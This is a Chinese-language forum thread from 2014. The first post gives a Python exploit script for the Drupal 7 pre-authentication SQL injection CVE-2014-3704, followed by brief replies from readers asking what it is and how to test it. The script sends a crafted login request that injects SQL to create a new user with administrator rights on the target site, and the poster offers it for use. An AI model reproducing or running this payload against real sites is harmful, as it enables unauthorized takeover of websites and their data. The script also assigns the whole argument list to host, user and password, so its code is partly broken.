C4r1st 发表于 2014-10-16 19:15:24

Drupal - pre Auth SQL Injection Vulnerability（CVE-2014-3704）

import urllib2,sys
from drupalpass import DrupalHash # http://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
if len(sys.argv) != 4:
    print ""
    print "python 7.xSQL.pyhttp://xxoo.com/drupal admin 123456"
    print ""
    sys.exit(1)
host = sys.argv
user = sys.argv
password = sys.argv
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = '%s/?q=node&destination=node' % host
insert_user = "name[0%20;set+@a%3d%28SELECT+MAX%28uid%29+FROM+users%29%2b1;INSERT+INTO+users+set+uid%3d@a,status%3d1,name%3d\'" \
            +user \
            +"'+,+pass+%3d+'" \
            +hash[:55] \
            +"';INSERT+INTO+users_roles+set+uid%3d@a,rid%3d3;;#%20%20]=bob&name=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
#print insert_user
content = urllib2.urlopen(url=target, data=insert_user).read()
if "mb_strlen() expects parameter 1" in content:
      print "Success!\nLogin now with user:%s and pass:%s" % (user, password)
网上的POC直接修改管理员的密码太暴力了，此EXP是添加一个自定义账号密码的管理员权限用户

下载 http://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py 放到同目录即可。

夜尽天明 发表于 2014-10-17 16:49:01

{:soso_e103:}看不懂，这个事什么CMS的

默西亚 发表于 2014-10-17 21:59:29

表示看不懂，不明觉厉

神仙 发表于 2014-10-18 21:44:36

靠谱么 怎么测试报错啊
页: [1]
查看完整版本: Drupal - pre Auth SQL Injection Vulnerability（CVE-2014-3704）